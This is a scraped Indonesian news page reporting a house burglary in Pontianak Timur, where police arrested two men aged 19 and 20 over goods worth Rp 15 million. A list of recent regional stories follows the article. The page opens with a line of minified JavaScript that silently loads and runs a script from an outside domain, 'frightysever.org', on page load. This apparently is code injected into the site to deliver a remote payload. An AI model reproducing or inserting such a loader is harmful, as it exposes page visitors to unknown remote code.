(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Pontianak

Bobol Pintu Belakang Rumah, Dua Pria Ditangkap Polsek Pontianak Timur


KANALKALIMANTAN.COM, PONTIANAK – Pencurian rumah dengan membobol pintu belakang terulang lagi, Polsek Pontianak Timur mengamankan dua orang pria. Pelaku pencurian masing-masing  berinisial CR (20) dan IB (19), Sabtu (11/4/2020). Reskrim Polsek Pontianak Timur beserta anggota telah tangkap dua pria atas kasus pencurian rumah dengan kerugian mencapai Rp 15 juta.

Kanit Reskrim Polsek Pontianak Timur, Iptu Asep Tedi mengatakan, pihaknya berhasil mengamankan dua pria yang diduga melakukan tindak pidana pencurian di Jalan Abdul Muis No 35 RT.003/RW.007 Kelurahan Tanjung Hulu, Kecamatan Pontianak Timur, Kalbar. Dua pria tersebut bernisial CR (20) dan inisial IB (19), keduanya merupakan warga Pontianak Timur.

Bermula korbam SZ melaporkan bahwatengah berada di Pos Pemadam Kebakaran di Jalan Tekam, Pontianak Timur, Kalbar. SZ mendapatkan informasi bahwa rumahnya telah dibobol dua pria. Mendapatkan informasi tersebut SZ langsung memastikan informasi tersebut. Setibanya di rumah korban, SZ memastikan kejadian tersebut memang benar adanya, karena terlihat bahwa kondisi rumah sedang berantakan.

“Pintu belakang sudah dalam keadaan terbuka, setelah dicek barang yang hilang berupa perabotan rumah tangga, pakaian, kabel listrik, alat tukang (perkakas), mesin air merk nasional, dan TV tabung ukuran 21 sudah lenyap,” katanya.

Atas kejadian tersebut korban mengalami kerugian sebesar Rp 15 juta. Dari hasil olah TKP pelaku pencurian yang ada di rumah korban tersebut dilakukan oleh dua orang pria yang tinggalnya tidak berjauhan dari rumah korban. Setelah mendapatkan petunjuk, anggota langsung melakukan pencarian terhadap 2 pelaku tersebut. Kapolsek Pontianak Timur Kompol Sunaryo melalui Kasi Humas Iptu Iskak Pujiyanto membenarkan adanya penangkapan kedua pria tersebut. “Sekarang kita masih lakukan pendalaman atas kejadian tersebut,” katanya.

“Dari untuk tindak pencurian tersebut, kedua pelaku kita kenakan pasal 363 ayat 1 ke 4 dan 5 KUHP,” sebutnya. (kanalkalimantan.com/polsek pontianak timur)

 

Editor : Bie

 


Desy Arfianty

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

3 jam ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

4 jam ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

11 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

11 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

14 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

14 jam ago

This website uses cookies.